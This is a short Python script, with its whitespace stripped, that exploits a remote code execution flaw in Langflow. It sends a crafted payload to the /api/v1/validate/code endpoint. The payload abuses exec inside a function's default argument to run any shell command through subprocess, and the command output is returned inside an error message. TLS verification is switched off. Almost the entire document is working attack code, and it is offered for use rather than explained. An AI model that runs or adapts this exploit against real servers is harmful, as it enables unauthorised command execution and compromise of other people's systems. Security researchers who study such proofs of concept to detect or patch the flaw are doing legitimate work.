#!/usr/bin/env python3importrequestsimportargparseimportjsonfromurllib.parseimporturljoinclassLangflowRCE:def__init__(self,target_url,timeout=10):self.base_url=target_url.rstrip('/')self.session=requests.Session()self.session.verify=Falseself.session.headers={"User-Agent":"Langflow-RCE-Scanner","Content-Type":"application/json"}self.timeout=timeoutdefrun_payload(self,command):endpoint=urljoin(self.base_url,"/api/v1/validate/code")payload={"code":(f"def run(cd=exec('raise Exception(__import__(\"subprocess\").check_output(\"{command}\", shell=True))')): pass")}response=self.session.post(endpoint,data=json.dumps(payload),timeout=self.timeout)ifresponse.status_code==200:try:json_data=response.json()err=json_data.get("function",{}).get("errors",[""])[0]ifisinstance(err,str)anderr.startswith("b'"):output=err[2:-1].encode().decode("unicode_escape").strip()returnoutputor"[!] No output returned."exceptExceptionase:returnf"[!] Error parsing response: {e}"return"[!] Target may not be vulnerable or is patched."